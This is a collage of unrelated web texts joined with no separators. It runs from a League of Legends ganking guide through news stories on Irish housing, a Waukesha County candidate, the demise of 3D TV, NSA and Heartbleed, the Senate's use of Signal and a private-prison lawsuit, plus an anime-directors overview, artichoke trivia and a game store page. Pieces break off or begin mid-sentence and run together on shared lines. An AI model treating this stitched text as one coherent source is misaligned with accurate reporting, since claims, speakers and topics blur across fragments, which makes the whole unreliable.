Often when ganking you must decide if it’s worth it to dive. When calculating whether they can dive or not, players typically leave out 2 very important things: summoner spells and jungler position. Unless you know (or have good reason to highly suspect) the enemy jungler is elsewhere, all but the shortest and simplest dives are ill-advised, because the risk of giving up multiple kills outweighs the reward of possibly getting one. The other thing that we often forget is that people use their summoner spells because they expect that use to change the outcome of a scenario, not simply out of desperation. If an enemy flashes under tower, then there’s a high probability that they have another trick up their sleeve, and at the least will be able to trade a kill back on a dive, meaning it’s best to pull out unless you’ve planned for that scenario and have a trick up your sleeve to deal with theirs.
When you combine summoner spells with jungler position, it’s easy to see how dives can go very bad very quickly. If you don’t know where the jungler is when diving a Vayne with Flash and Barrier, her using those spells gives the jungler more time to show up for a triple kill, and the Vayne will probably survive anyways. Because of this, it’s important to estimate jungler position before going in on a gank, as well as to determine what responses you have for enemy summoner spells, so you can know whether to keep chasing after they are used or not. It’s also important to re-evaluate the situation after Summoner Spells are used. For example, I might have a response ready for Vayne’s Flash, but if she’s able to save it for when she’s under tower, once she uses it, it’s probably better to back off and rain on her parade another day. Respect your opponents, and don’t go for a play that you know you could turn around if you were in their shoes.
Conclusion
In the end there’s a lot you can do to stop your lane from feeding, and to turn a losing lane into a winning one, although it generally requires that you be thinking ahead. While it’s usually good to help a losing lane, you must be wary when doing so, and avoid being sucked into losing situations with them, which occasionally means leaving them for dead completely. In the end however, there are going to be some games that simply can’t be won, and it’s important to not let these games affect you mentally to the point that you project them onto games that are winnable- making you lose hope too quickly and lose games that you shouldn’t.
If you haven’t already, I suggest you check out the previous articles in this series: Jungling 101, 102, 201, and 202. The ’01s relate to ganking, while the ’02s relate (primarily) to farming. Just as university classes by similar titles would get more complex with level (and require the previous courses to give context for the later ones), the articles are structured to act similarly.
I love feedback, and I love talking League even more. Please drop your thoughts into a comment below
Please support me by liking my Facebook page, subscribing to my YouTube, or following me on Twitter (@EnochWarnke)!A woman who has spent nearly 12 years on a council house waiting list has said "I just want to give my children a home of their own".
A woman who has spent nearly 12 years on a council house waiting list has said "I just want to give my children a home of their own".
'I just want a home for my children' - mum on housing list for 12 years
Orla Thornton (32), from Drogheda, Co Louth, and who has two children - 10-week-old daughter Lola-May and Noah (4) - said there must be more transparency in how houses are allocated.
"He keeps asking me are we moving again? He has lived at five different addresses because we have always rented. He often asks me will we have to move again," she said.
Ms Thornton first went on the housing list with Louth County Council when she was 18. She has organised a peaceful protest due to take place outside the Drogheda offices of Louth County Council tomorrow to highlight the need for more housing in the county.
"There is a crisis and we are all in the same boat and none of us on the waiting list are getting anywhere," she said. "There are boarded-up houses and we want the council to give them to people on the list."
Ms Thornton, who used to run her own craft business, said: "I have been homeless at times and had to sleep on friends' sofas. I have spent all my adult life on a waiting list for my own home and renting while I wait."
She is currently renting privately in Rathmullen Park, Drogheda.
"I want my home for me and my children. I have been on the list long enough."
Louth County Council said it does not comment on individual cases but confirmed that it is using legislation to acquire empty properties to house people.
A spokesman said: "Louth County Council can confirm that it has been using the Compulsory Purchase Order process provided in the Housing Act, 1966, for acquisition of vacant dwellings that are suitable for use as social housing units.
"The council initially used this method to address a small number of privately owned dwellings in local authority estates that were a source of significant anti-social behaviour.
"This successful initiative is now a general acquisition method for acquiring units for social housing purposes. This method has no impact on the local housing market as the properties acquired are not for sale."
Irish IndependentFormer Waukesha County Clerk Kathy Nickolaus, shown at a 2011 news conference to explain problems with vote counting, now plans a run for Waukesha County Board. Credit: Michael Sears
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Former Waukesha County Clerk Kathy Nickolaus is asking voters to set aside her embattled history in county government and give her a fresh start in political life.
Nickolaus has filed nomination papers to challenge County Board Supervisor Dave Zimmermann for the 2nd District supervisory seat in the April 1 spring election. The district encompasses the northwest corner of the county, generally north and south of Oconomowoc, and extends east to include Chenequa.
Nickolaus served as county clerk from 2002 to 2012. She decided not to seek re-election in November 2012 after she drew statewide criticism for failing to include votes from Brookfield in a 2011 Supreme Court race.
The error fueled momentum for a statewide, taxpayer-financed recount that reversed initial returns and resulted in a re-election victory for Justice David Prosser.
A state Government Accountability Board investigation found Nickolaus violated state law in how she reported election results, but without criminal intent.
Nickolaus operates Musky Mike's bait shop on Okauchee Lake.
Zimmermann and Nickolaus were among four candidates interviewed in September to fill a vacant 2nd District seat after the departure of incumbent Dave Falstad. The board appointed Zimmermann to complete the term ending in April 2014.
Zimmermann is a former Summit village trustee.
Twitter: twitter.com/conserveAfter years of hype (and several, more recent years of near-total invisibility), the 3D revolution is finally dead. LG and Sony were the last two companies backing the standard, and both have dropped all support for the format on modern televisions. Any 3D content you still own can be played back on any TV that supports it, of course. But none of the companies that were at CES 2017 are shipping it on any panels.
3D TVs debuted at a time when 3D was making broad inroads across computers and televisions alike. The high-profile success of multiple 3D movies made theaters salivate, thinking of the increased revenue from premium ticket sales — sales that, theoretically, would also drive increased sales of 3D movies on Blu-ray. Sony patched 3D support into the PlayStation 3, while Nvidia put a hefty push behind it on GeForce cards (AMD also had its own 3D implementation, but it mostly focused on pushing multi-monitor gaming during the same period).
3D TV was supposed to be the second coming. Instead, it fizzled. “3D capability was never really universally embraced in the industry for home use, and it’s just not a key buying factor when selecting a new TV,” LG’s Tim Alessi told CNET. “Purchase process research showed it’s not a top buying consideration, and anecdotal information indicated that actual usage was not high. We decided to drop 3D support for 2017 in order to focus our efforts on new capabilities such as HDR, which has much more universal appeal.”
Why 3D TV failed
There were a number of reasons why 3D TV failed in the market, and some cautionary lessons for VR fans (including myself). First and foremost, 3D content was gated to expensive equipment purchases. It wasn’t enough to have a Blu-ray player; you had to have a Blu-ray player with 3D support and a TV that offered the same. Many 3D TVs required you to either have a pair of glasses for each person or, in the case of TVs that didn’t require glasses, had limited viewing angles and distances.
A certain amount of living room finagling is nothing new to TV watching, but this was a larger problem than just rearranging a few chairs. It was difficult and expensive to rig a living room for multi-person 3D viewing, and you had to have enough 3D glasses to fit your entire audience.
Another major problem? Content. A handful of movies made for and shot in 3D, like Avatar, may have popularized the format, but few movies were filmed to take full advantage of it. Many limited themselves to using 3D in specific scenes and were filmed in 2D before being converted for 3D. It’s cheaper (or seems to be, based on how many people went this route) to convert films in post production than to film them in 3D from the beginning. It’s one thing to ask people to pay for The Next Big Thing, and something else entirely when they’re shucking out premium cash for a TV, a movie, and extra goggles, all while knowing that only 20-30 minutes of a film may be truly 3D in the first place.
In addition, 3D is also prone to giving some people headaches and motion sickness, which again, can make it harder to watch a film or 3D content. The third time Grandpa runs for the bathroom or your kid decides to paint the 3D glasses black because it makes them look cool, you’ll wind up wishing you’d saved money and just bought the regular TV and Blu-ray instead.
What does this mean for VR?
The story of 3D’s rise and fall is a cautionary tale for the VR industry as well. I love VR and would like to see it shape the future of gaming, but many of the issues that doomed 3D TV and 3D content could also kneecap VR adoption. Like 3D, it requires expensive, personal peripherals. Like 3D, games need to be designed explicitly for VR in order to showcase the technology to best effectiveness. Like 3D, VR can cause nausea and headaches. Like 3D, working in VR has an entirely new set of best practices, some of which aren’t intuitive to people who spent their careers working on conventional design.
There are two major differences between VR and 3D. First, VR is a stronger, more immersive experience. I hate to fall back on the “But it’s really cool, man” defense, but it’s honestly true. If 3D was more immersive than 2D by virtue of having things leap “out” at you, VR is more immersive by virtue of making you feel like you’re actually there.
Second, VR is debuting as a gaming peripheral, and gaming is still much more of a solo activity than TV watching (and PSVR even tries to solve this issue by allowing output to a second screen). That alone may make the difference, provided the gaming industry can push content that takes advantage of virtual reality quickly enough for people to want to buy it. But either way, it’s worth remembering that many of the forces that killed 3D TV could wind up killing VR as well. If game developers want to avoid this problem, treat 3D as a cautionary tale of a new technology whose promise and potential never justified the cost and headache in the eyes of the general public.
RIP 3D TV: 2010 – 2016. It’s hard to believe you were with us for just six years. Your various promises of washed-out colors, expensive glasses, limited viewing angles, extra wires, and specialized television sets somehow never caught on with the mass market, even though 3D gaming via Nvidia’s 3D Vision was actually pretty cool. May you find a better adoption rate among the angels than you were gifted here on Earth.OAKLAND — The Oakland Fire Department on Monday released details of a plan to remove highly flammable eucalyptus |
off a classic children’s novel. Anne’s story has also been produced into multiple theatre productions, films and television series. Takahata and Miyazaki later found employment with Telecom. The company was supposed to be moved to the US, but conflicts between Japanese and US’s ideas of animation style were unpleasant enough that the duo, along with their colleagues, left to eventually form Studio Ghibli.
In this article I have highlighted Grave of the Fireflies and Only Yesterday, but his films don’t end there.If you like cartoon-like, watercolor style animation the family exploration My Neighbors the Yamadas is entertaining, although it is more like watching a television show due to the skit organization of the movie. Isao Takahata’s most recent film came out alongside The Wind Rises. The Tale of Princess Kaguya (2013) seems to return to the water colour style of drawings seen in My Neighbors the Yamadas. It’s based off the Japanese folktale The Tale of the Bamboo Cutter. Its been receiving praise from a variety of sources.
Takahata may not have as long of a resume as Miyazaki but his films match his in quality.
Katsuhiro Ohtomo
Ohtomo was highly influenced by film. He used to love seeing them so much he would travel hours to reach his closest theatre. Aside from film directing he contributes a lot of his time to Sunrise productions, but has donated his talent to a segment in the anthology Robot Carnival, contributed in either directing or writing talent to each segment of Memories and Neo Tokyo. His other feature films include Steamboy (2004), Freedom Project and SOS! Tokyo Metro Explorers. He has been highlighted here for his work on the short, Memories, although there is one title I have not gone into much detail yet which deserves extra attention.
Otomo was possibly one of the biggest influences on the 80’s crowd with his release of Akira in 1988. Personally, I am not a big fan of the film but have grown more respect for it after viewing some of the other gateway titles for the 80’s. It is hard not to gape in awe at the detailed, fluid animation which broke budget records at the time and cringe at its multi-cultural soundtrack. Geinoh Yamashirogumi is known for mixing different music styles together and this style was integrated into Akira in a similar way that Greg Edmonson combined different cultural sounds in Joss Whedon’s Firefly. Akira encapsulates the best-of post cyberpunk, appocolyptic anime film of the 80’s, and the visuals are as stunning today as they were thirty years ago. For those who are unsure what the film is about, the found-footage film Chronicle (2012) was claimed to be inspired by Akira. This film is what Ohtomo is most well known for.
Much like Nausicaa and the Valley of the Wind, Akira was adapted from a much larger manga that took 8 years to write. In result a lot of the subplots and characters got removed. According to Brent from Otaku, no Video the film covers the first third of the movie and brings a lot more to the characters, which are about as exciting as cardboard in the film. I have read the first volume so far and it focuses more on Kaneda, whom is a much more likable character compared to Tetsuo. It is far more enjoyable and more elements of the story are explained so far. The webmaster Ric from Animetion claims that its down points are few. If you can cope with excessive violence and an occasionally confusing story Akira is definitely worth reading.
His newest work in 2013 was Short Peace, an anthology containing four shorts.
Mamoru Oshii
Multi-talented film maker, director and writer, Mamoru Oshii (born 1951) was heavily influenced by European cinema as a student. After graduating from Tokyo Gakugei University, his first step into the anime industry was being a storyboard artist on Ippatsu Kanta-kun (1977), a cartoon about a boy who enjoys baseball (Japan’s most loved sport!). To date, he has directed 38 titles and written 26. I have highlighted his films Patlabor 2 and Ghost in the Shell in this article.
Over his career Oshii has dabbled in lots of different roles for various studios, although his his film debut kicked off after the success of Urusei Yatsura TV (1981). Oshii had created the storyboards and directed the TV show, so it only seemed fitting that he lent his talent to two films, Urusei Yatsura: Only You (1983) and Beautiful Dreamer (1984). Rumiko Takahashi, the writer of Inuyasha wrote the manga Urusei Yatsura. It is a sit com about the most perverted guy on earth becoming the love interest of a beautiful alien. The English dub was so hilariously terrible it stopped airing after episode 3. The series is out of print but can still be found on some sources like Amazon and Ebay. The opening sequence displays how cutesy and light hearted story compared to his later work. Beautiful Dreamer is distinctly different in tone and style to the television show. Clearly this is where Oshii has a chance to write what he loves and sets himself up for his successes to come.
Oshii’s films often explore philosophical questions. He stated in an interview that he considers visuals to be the most important followed by substance. This comes through in his movies which may be slow but have some mesmerizing sequences. He is a director next to Satoshi Kon who could be considered closest to making art-house film. He enjoys exploring settings that are different to ours, whether futuristic or fantastical. His character designs aim to be true to real life, and he has adopted European documentary style in his execution of storyboard with the lack of a moving camera, careful usage of sound effects and music. His films often include adult characters and balance drama, science fiction and slice of life. If you are one who loves European cinema, you will find a gold mine of goodness with Oishii.
Satoshi Kon
“Satoshi Kon used the hand-drawn medium to explore social stigmas and the human psyche, casting a light on our complexities in ways that might have failed in live action. Much of it was gritty, intense, and at times, even nightmarish. Kon didn’t shy away from mature subject matter or live-action sensibilities in his work, and his films will always occupy a fascinating middle ground between ‘cartoons’ and the world as we know it.” – Dean Blois (Lilo & Stich, How to Train Your Dragon)
Satoshi Kon was influenced by famous science fiction writers Yasutaka Tsutsui and Philip Kindred Dick (adapted into films like Blade Runner, Total Recall ). He also has a soft spot for comedy like Monty Python and Terry Gilliam. Since I am a fan of Monty Python he gains an extra point of respect from me! I have paid close attention to Millennium Actress and Tokyo Godfathers in this piece.
He released his first manga in college, Toriko, not to be confused by the anime and manga series of the same name. Following that was a collection of short stories called Salmonella Men on Planet Porno (2006). He supervised Patlabor 2 and contributed to the script of Magnetic Rose from Memories. His directorial debut started in 1997 with the thriller Perfect Blue, which I have already reviewed and would highly recommend to thriller fans. In 2004 Kon directed a 13 episode anime called Paranoia Agent, which was basically an excuse to include all the short stories Kon liked, but that didn’t fit into any other place.
Stylistically Satoshi Kon shares a lot in common with Mamoru Oshii. He was inspired by European cinematography so integrates this into his own work. The most easily distinguishable stylistic choice of Kon’s is his character designs, which are a co-creation between him and Kenichi Konishi. They are realistically proportioned and represent a spectrum of faces, instead of just the idealized face. It very true to life, almost unnervingly so, but its a great contrast and interesting to see in the anime world. In an article by Andrew Osmond, when asked about why Satoshi Kon doesn’t just make his films live action, he replied: “In animation, only what is intended to be communicated is there. If I had a chance to edit live-action, it would be too fast for audiences to follow.”. Also in a Midnight Eye interview (by Jason Grey) he claimed: “I have no interest in making a live action movie at all, in part because I like drawing so much.”. Like Hayao Miyazaki, Satoshi Kon prefers writing female lead characters as he says being a man, he can not understand them as well so prefers to work with them. It is a strange intrigue that he has built upon by expanding on these characters as much as possible.
His films often switch between dream or hallucinogenic states, which Kon justifies by his belief that humans experience life through different mediums. “The human brain is mysterious; we can’t share the time axis in our memory with other people. I’m interested in trying to visualize those nonlinear ways of thinking.”. On the subject of the internet, in an interview with Midnight Eye Kon noted: ” I think in countries like Japan and America and other countries where internet is prevalent, people can anonymously seek or release things they can’t speak of offline, as if there’s a part of the subconscious that’s uncontrollable and comes out on the internet. That is very much like dreams.”
After his untimely death due to pancreatic cancer, Madhouse staff are trying to complete his project Dreaming Machine, which was half finished. They are fishing for money but founder Masao Maruyama states that he wishes to have it completed within the next couple of years. It will be very different to Kon’s other works as it is aimed at both children and adults and will feature an all-robot cast. Below I have listed two of his films that I believe will appeal to the biggest audience due to the mix of themes and genres. However, for those who are Alfred Hitchcock or thriller fans, Perfect Blue will fit the bill.
Whether you are a fan of comedy, drama, science fiction or slice of life I hope this overview of anime film give you somewhere to start on your journey into an exciting medium with lots of variety.
What do you think?.James Harden has been subpoenaed in a case related to the assault of Moses Malone Jr.Moses Malone Jr., son of basketball legend Moses Malone, said he was attacked by Houston Rockets guard James Harden's entourage outside a nightclub in June.Malone Jr. said he wrote a post on social media criticizing Harden for charging too much money for his youth basketball camp.Eyewitness News received a screenshot of Malone's Facebook post. In it, Malone wrote, "Don't he make WAY more $ then (sic) Donald Driver???? But, he charging 249$ & the inner city kids have NO CHANCE to go to his camp. Hollywood Harden #Fact."Malone said he believes Harden got mad and sent his entourage to beat him up and steal his jewelry. At least four of the men had guns, according to a Houston Police Department spokeswoman.Malone's attorney, George Farah, said the stolen David Yurman jewelry was worth about $15,000 and that the club security guards were complicit in the attack.Carl A. Moore represents V Live. He said the claims that security guards did not help Malone is false."I don't believe Mr. Harden was at the club, and I definitely don't believe he had anything to do with an attack on Mr. Malone," Moore said. "And so the club's position is that Mr. Malone is a regular of the club. We would have done everything we could to make sure he was safe."Harden will have to go to an attorney's office on December 15th for a deposition.You have to hand it to the European Commission --those folks are not shy about going after tech companies with guns blazing if they believe there have been antitrust violations. The latest alleged offense is a bit of a doozy, as it pertains to a baker’s dozen optical drive companies selling their wares in Europe; the EC believes they may have colluded in a worldwide cartel.No companies have been fingered by name, but an EC press release indicates that there were two major OEMs organizing a bid rigging endeavor that has lasted five years. Bid rigging is “one of the most serious breaches of EU antitrust rules”, and the EC is concerned that it affected customers who bought drives during this period.Thus far, the EC has simply issued a Statement of Objections to the companies involved, which in turn have the opportunity to reply in writing and also request an oral hearing in front of the Commission. However, if the EC finds that the companies are indeed guilty of bid rigging, the penalty could be a fine of up to 10% of a given company’s “annual worldwide turnover”.This is more bad news for the optical drive industry, which is already looking nervously at the next few years, when ODDs will likely become mostly obsolete.Thousands flocked to the capital of Bosnia’s Serb statelet on Saturday for the reopening of a historic mosque destroyed during wartime, a ceremony seen as encouraging religious tolerance among deeply divided communities.
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Twenty years after the devastating war between its Muslim Bosniaks, Orthodox Serbs and Catholic Croats, Bosnia remains split along ethnic lines, with rival groups blocking reconciliation and reform needed to join the European Union.
The return of Muslim believers to the rebuilt Ferhat-Pasha mosque in the largely Serb city of Banja Luka, capital of Bosnia’s autonomous Serb Republic, offers hope for change to many.
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But tight security showed the ceremony, to be attended by top Bosnian officials and Turkey’s outgoing Prime Minister Ahmet Davutoglu, was seen as a high-risk event. Turkey has contributed to the cost of rebuilding.
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About 1,000 police officers patrolled the streets as buses arrived with Muslims from across the country. Traffic was barred from the city centre and alcohol banned.
The 16th-century mosque, under UNESCO protection as an outstanding example of Ottoman architecture, was blown up 23 years ago. A parking lot was built where it had stood.
Many believe its destruction was ordered by Bosnian Serbs aiming to erase any traces of Muslim heritage in the once multi-ethnic city.
During a ceremony to lay a foundation stone for the mosque in 2001, Serb nationalists attacked visitors and dignitaries, wounding dozens and killing one Muslim.
It took 15 years for Bosnia’s Muslims to obtain construction permits and funds to rebuild the mosque. Thousands of pieces of rubble from the original building were used after being recovered from the Vrbas River and a garbage site where they were dumped.
The day it was levelled, May 7, is now the Day of the Mosques in Bosnia, where 614 mosques were destroyed during the 1992-95 war.
Today, only 10 percent of Banja Luka’s pre-war Muslim and Croat population remains in the city following a Serb campaign to ethnically cleanse territories for their Serb statelet.
“I am excited,” said Ajsa Nezirovic, 64, a Muslim from Banja Luka. “I know it will never be the same again but this may allow at least some people to feel welcome back to the city.”
“I only want this opening to pass peacefully and without any incident as tensions still run high,” said Tatjana Kecman, a Serb, also from Banja Luka.
“The mosque is rebuilt but our children have no jobs, and pensions are poor. We were all much better off before,” said Fejhila, 58, a Muslim who stayed in Banja Luka during the war.
Efendi Husein Kavazovic, head of Bosnia’s Islamic community, told local daily Nezavisne Novine on Friday the reopening could be a force for good, but added:
“We are still far away from honestly looking into each other’s eyes and saying: ‘We are sorry. We are truly sorry.'”
War casts a long shadow here, with Bosnian Serb leader Radovan Karadzic jailed for genocide only in March. The United Nations says Bosnian Serb backing for secession from the fragile Bosnian state is a challenge to the 1995 peace settlement.
WATCH INDIAN EXPRESS VIDEOS HEREThe White House is denying a report that National Security Agency (NSA) was aware of a massive security flaw affecting websites across the Internet and used the bug in order to obtain personal data.
Bloomberg reported on Friday that the spy agency was aware of the "Heartbleed" security glitch for at least two years and used it to obtain passwords and other data. But White House spokeswoman Caitlin Hayden said Friday that this report is "wrong."
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"The Federal government was not aware of the recently identified vulnerability in [the encryption software] OpenSSL until it was made public in a private sector cybersecurity report," she added. That report came out earlier this week."This administration takes seriously its responsibility to help maintain an open, interoperable, secure and reliable Internet. If the Federal government, including the intelligence community, had discovered this vulnerability prior to last week, it would have been disclosed to the community responsible for OpenSSL."The NSA has been criticized for its efforts to actively seek out and exploit vulnerabilities in cyberspace, a practice that critics say weakens security around the world.But a White House review board suggested the agency halt its efforts to undermine online security, and Hayden said that the White House had "reinvigorated" an interagency process for determining when cyber vulnerabilities should be shared with their creators."Unless there is a clear national security or law enforcement need, this process is biased toward responsibly disclosing such vulnerabilities," Hayden said.She added that when government agencies do detect bugs in public software "it is in the national interest to responsibly disclose the vulnerability rather than to hold it for an investigative or intelligence purpose."The Heartbleed bug was detected by researchers earlier this week. The glitch in the widely popular OpenSSL security system could allow people to obtain passwords, bank account information and other sensitive data.Critics of the spy agency were outraged after news broke suggesting that the NSA may have been exploiting the cyber vulnerability.Patriot Act author and NSA critic Rep. James Sensenbrenner Jr. (R-Wis.) said in statement that the report, if true, "calls into serious question what the intelligence community does behind its dark cloud of secrecy and is yet another example of how our privacy and data security have been cast aside in the name of national security."There have not been any reported attacks involving the bug, but the Department of Homeland Security warned on Friday that "malicious actors in cyberspace" could take advantage of the flaw to nab people's information.The agency instructed people to check if the websites they commonly used were affected by the bug and change their passwords once it was patched.Congress is currently reviewing a number of proposals to reform the NSA, including one from the White House, though none of the plans have gained significant traction.A sweeping reform bill from Senate Judiciary Committee Chairman(D-Vt.) and Sensenbrenner has gained more than 160 co-sponsors but has been stuck in committee for months.House Judiciary Committee Chairman(R-Va.) on Thursday declined to say whether the panel would take action on the bill, called the USA Freedom Act.— This story was updated at 5:13 p.m.Suck it, CIA.
The US Senate has gotten permission to begin using the encrypted phone app Signal, according to a congratulatory letter from Sen. Ron Wyden’s office.
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Wyden’s letter thanked Senate Sergeant-at-Arms Frank Larkin for approving the use of the messaging app, which was launched under the name TextSecure by Open Whisper System in 2010. Today, Signal also includes end-to-end encrypted voice and video chat, as well as a keen desktop app.
Signal gained new popularity in early 2015 after receiving an endorsement from Edward Snowden, the former National Security Agency contractor turned classified leaker.
“I write to you today to thank you, and to congratulate you and your staff for all of the hard work that undoubtedly went into this significant upgrade to the security of Senate websites,” wrote Wyden, who was also thanking Larkin’s office for advancing the transition to default HTTPS encryption on the US Senate’s member and committee websites.
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“I am happy to see that you too recognize the important defensive cybersecurity role that encryption can play,” the Oregon senator added.
HTTPS, or Hypertext Transfer Protocol Secure, encrypts communications between internet browsers and websites, offering some protection against eavesdropping and session hijacking, i.e., “man-in-the-middle” attacks. For many years, the Senate’s website did not support HTTPS, leading to a significant amount of groaning from its security-wise constituents. (Wyden unilaterally changed his own Senate website to default HTTPS about two years ago.)
The switch was first reported Tuesday night by ZDNet.
The American Civil Liberties Union (ACLU) urged Larkin in 2015 to permit the use of secure messaging apps for Congress, whose internal communications are not subject to the Freedom of Information Act (FOIA)—though they have been hacked by the Central Intelligence Agency.
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Congress’s ability to exercise its constitutionally required oversight over the executive branch is “only as robust as its independence from interference by other elements of the government, and its insulation from influence by bad actors outside government,” the ACLU noted.
Signal is not only useful for spies and lawmakers, however. You too can download it from the Apple Store or Google Play and start securing your communications from, well, mostly spies and lawmakers.Have you ever sent someone a bouquet of artichokes?
It's worth considering, but it might be a little strange, seeing as how artichokes look like THIS WHEN THEY'RE BLOOMING:
Well, they don't bloom that fast because that's a time-lapse video. It's still terrifying, though.
Artichokes, which are also called globe or French artichokes, are a large perennial plant native to the western and central Mediterranean region, and cousins to chrysanthemums, dahlias and sunflowers (Jerusalem artichokes, which are tubers, aren't really artichokes at all).
The long leaves of the artichoke plant were used in the medieval era, likely for medicinal purposes as they are sources of antioxidants; the Italians started using the artichoke head and heart in dishes as early as 1400.
To grab the part of the artichoke you'd want to eat, you'd pick the bulb before it blooms, then take it home and either bake, boil or steam it -- see images of flowering artichokes, as well as our favorite recipes to use them, below.About This Game
Complete your Total War collection with this Definitive Edition of Total War: MEDIEVAL II, which includes all DLC and feature updates since the game’s release:Kingdoms is the most content-rich expansion ever produced for a Total War game, with four new entire campaigns centred on expanded maps of the British Isles, Teutonic Northern Europe, the Middle East, and the Americas.Total War: MEDIEVAL II Definitive Edition offers hundreds and hundreds of hours of absorbing gameplay and every bit of content made for the game. See below for full details.Take command of your army and expand your reign in Total War: MEDIEVAL II - the fourth instalment of the award-winning Total War series of strategy games. Direct massive battles featuring up to 10,000 bloodthirsty troops on epic 3D battlefields, while presiding over some of the greatest Medieval nations of the Western and Middle Eastern world.Spanning the most turbulent era in Western history, your quest for territory and power takes you through Europe, Africa, and the Middle East, and even onto the shores of the New World.You'll manage your empire with an iron fist, handling everything from building and improving cities to recruiting and training armies. Wield diplomacy to manipulate allies and enemies, outsmart the dreaded Inquisition, and influence the Pope. Lead the fight in the Crusades and bring victory to Islam or Christianity in the Holy War.Rewrite history and conquer the world. This is Total War!• Bigger and better real-time battles. Improved combat choreography, larger armies, quicker pace, and spectacular finishing moves make this the most visceral and exciting Total War ever.• New epic campaign. The ambitious single player campaign will span three continents and let players sail across to the Americas to confront the Aztecs on their home soil.• Greater accessibility. An enhanced user interface and optional shorter campaigns make the Total War experience faster and easier to enjoy than ever before.• Over 40 new features. An advanced terrain system, enhanced weather effects, and more will help you divide and conquer.• Intense Multiplayer Battles. Wage war against other players in 8-way multiplayer games.Kingdoms presents players with all-new territories to explore, troops to command, and enemies to conquer.Kingdoms is the most content-rich expansion ever produced for a Total War game, with four new entire campaigns centred on expanded maps of the British Isles, Teutonic Northern Europe, the Middle East, and the Americas. In Total War: MEDIEVAL II, you were only given a tantalizing glimpse of South America, but in Kingdoms, vast tracts of land in both North and South America have been opened up for you to conquer. All-new factions from the New World are also now fully playable, including the Aztecs, Apaches, and Mayans.Along with the new maps in the Britannia, Teutonic, Crusades, and New World Campaigns, there are 13 new factions to play, over 110 units to control, and 50 building types, adding up to 80 hours of new gameplay. Kingdoms also offers new multiplayer maps and hotseat multiplayer, a first for the Total War series, allowing you to play one-versus-one campaign games on the same computer.• Four new campaigns - Britannia, Teutonic, Crusades, and New World• 10 new units• 13 new factions• 9 new agents• 50 new buildings• 60+ new territories across four new maps• 15 new multiplayer maps and scenarios• All-new 1v1 hotseat multiplayer campaign modePrivate-prison guards maced Kyle Tiffee as he bled to death after being repeatedly stabbed in a gang battle last year.
According to a lawsuit filed by Tiffee’s family, every element of the chaotic fight—right down to the light fixtures made into shanks—can be blamed on Corrections Corporation of America.
CCA is a multi-billion-dollar company and the largest operator of privately run prisons in the United States, running nearly 70 facilities including Cimarron Correctional Facility in Cushing, Oklahoma, where Tiffee and three other men died on Sept. 12, 2015. The fight, which lasted all of two minutes, claimed four lives and was the deadliest incident in the history of the Oklahoma Department of Corrections.
The deadly fight was “highly predictable,” according to the lawsuit, and could have been prevented if not for minimal “staff behavior and corruption,” that left gangs to run the place.
CCA did not respond to a request for comment.
Tiffee was a member of the Irish Mob, whose members gathered on upper- and lower-level runs of the Charlie North housing unit, as did members of the United Aryan Brotherhood. The flocking was a sure sign that a fight was imminent, yet a guard stood by as “nothing more than a spectator,” to the fight.
The lawsuit names Terrance Lockett as the guard who stood idly by, but Lockette disagrees with the description.
“I really didn’t see anything. It all happened so fast, ” Lockett told The Daily Beast in a brief interview before deciding otherwise about the conversation. “They’ve named me in that lawsuit so I’m not going to say anything that hurts me.”
Lockett, when he did decide to warn his superiors that the gangs were gathering in a menacing manner, was told to “call back when (the fight) happens.”
Eventually Lockett and a nurse entered the fray to attend to a badly wounded inmate. Not long after that, the riot squad arrived and maced Tiffee—stabbed likely by the rival Aryans—while trying to break up the brief and bloody battle.
Tiffee and another member of the Irish Mob lay dead or dying; two members of the United Aryan Brotherhood were also suffering from mortal wounds.
The murders may have been captured on security footage inside Charlie North, but that footage remains in the hands of CCA.
“The Department of Corrections claims the video is exempt from the Oklahoma Open Records Act, as a ‘law enforcement record,’” attorney Spencer Bryan told The Daily Beast. But there’s just one problem: CCA is not registered with the Oklahoma Council on Law Enforcement Education and Training, and therefore is not technically a law enforcement agency.
Oklahoma’s attorney general and Corrections Department did not respond to a request for comment.
The two gangs were armed with weapons fashioned from light fixtures inside the prison. CCA knew inmates were using the fixtures to make weapons, according to the lawsuit, but didn’t remove the fixtures “for financial reasons.” Even after the deadly battle, CCA left the fixtures in place.
Cimarron has been a problem for CCA for at least the past two years. Lockett and another guard have been indicted for smuggling phones and drugs into the facility, according to Payne County court records. In the lawsuit, Bryan claims the pair’s actions represent a culture of lawlessness that provides an atmosphere ripe for violent conflict.
“As more staff are corrupted, more contraband is introduced, and more inmates are monetized into the trafficking operation,” the lawsuit states. “As this cycle perpetuates, so too does the risk of violence in the (prison) drug trade.
Bryan alleges that efforts to curtail staff smuggling into the facility were non-existent prior to the deadly brawl. Indeed, in the months following the incident, Lockett and another guard, Megan Hood, were charged for attempting to smuggle contraband into the facility.
In November 2015, Hood was pulled aside after she repeatedly triggered a metal detector at Cimarron. In a report written by a Cushing police officer, Hood’s fellow guards said she was constantly tripping metal detectors at the prison, and was finally taken in for questioning that day. She eventually admitted to having two cell phones wrapped in electrical tape inside a body orifice.
She told police an inmate had promised her $2,000 in exchange for the phones, which she planned to use to “get away from her abusive husband,” according to the police report.
Three months later, in February, Lockett was pulled aside after a guard performing pat-downs of employees entering Cimarron found two bulges in Lockett’s crotch. After denying he had anything concealed in his pants, a Cushing police officer convinced Lockett to give up the goods. Lockett pulled out two bags of marijuana wrapped in electrical tape, according to police, then told an interesting story.
The night before Lockett had been on his way home from Cimarron when a car in front of him abruptly stopped. Four men got out and approached Lockett, handing over the bags of marijuana and threatening to kill him if he didn’t drop them off in Charlie North. But Lockett had no such excuse for the half pound of meth police found in his car that day after he gave them consent to search.
Both Hood and Lockett have been charged with possession of a controlled substance and intent to bring contraband into a penal institution, and their cases remain open.
Also still open are several federal lawsuits going back to 2014 levied on CCA because of alleged mistreatment of prisoners at Cimarron. They include one in which a prisoner had to have a testicle removed after staff at the prison allegedly ignored his complaints of pain for months. Another inmate said he came to the prison with swollen hands only to be ignored by medical staff. Eventually doctors found two broken fingers that had to be rebroken to heal the inmate.
One prisoner was eventually diagnosed with fractures in his neck when he slipped in a shower that was supposed to be closed at Cimarron, but weeks went by before he was finally taken to the hospital. Another man alleged he was denied chemotherapy after having a cancerous growth removed from his throat.
But proper medical care need not exist for a company like CCA to thrive, which is part of the reason that the Justice Department announced in August it would phase out the use of private companies to run federal prisons. That does nothing for the inmates at Cimarron though, because it is a state prison.
In fact, CCA’s stock just went up thanks to the renewal of a contract with Immigrations and Customs Enforcement. The company will continue to run an ICE detention facility in Texas, it announced this week. (The Justice Department’s decree does not affect facilities run by ICE because it is not a part of the Bureau of Prisons.)
